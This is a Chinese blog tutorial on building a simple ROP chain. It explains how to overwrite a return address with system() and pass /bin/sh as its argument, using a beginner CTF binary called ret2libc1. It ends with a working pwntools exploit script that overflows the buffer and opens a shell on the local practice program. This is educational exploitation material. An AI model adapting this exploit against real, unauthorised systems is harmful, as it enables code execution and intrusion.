编写单个函数的ROP链

什么是ROP链

在我初识栈溢出那篇博客已经详细的讲了函数的调用过程(基于X86框架),不了解的可以看一下,没有这个理论基础,是学不好ROP的。现在我们说一下什么是ROP

ROP链就是通过返回地址的修改来完成的编程,调用特定的函数的一种编程模式。我们可以联想一下你做的最简单的栈溢出的题,返回地址覆盖system(/bin/sh)。这种也是一种ROP链,只是最简单的一种,所以说ROP也没有那么高端,说白了就是控制返回地址,控制参数。这篇我们来讲一下怎么控制参数

这是一个main函数调用system(/bin/sh)的栈分布,把func函数的返回地址覆盖为system的地址,这时候system就会作为一个新的函数进入函数内部,开辟栈帧,执行‘push edp;mov edp,esp;sub esp,0x ’。

根据我们学习函数调用的理论知识,我们可以知道,这时候对于system函数,a就是它的返回地址,b就是它的参数,所以就可以编写脚本控制b的内容来实现控制参数的传入,下面来小试牛刀

例题:附件下载

查看保护,开了地址随机化,开了NX,那我们就不能用Shellcode了,IDA反编译一下,看看怎么个事

非常简单的栈溢出,但是没有发现后门函数,所以我们覆盖返回地址为system,传入变量/bin/sh,shift+F12打开string发现/bin/sh ,直接编写脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = process('./ret2libc1')
elf = ELF('./ret2libc1')
system_addr = elf.plt['system']
binsh_addr = 0x0804A028
p.recvuntil('ret2libc1\n')
payload = 0x108 * b'a' + p32(1) + p32(system_addr) + p32(1) + p32(binsh_addr)

p.sendline(payload)
p.interactive()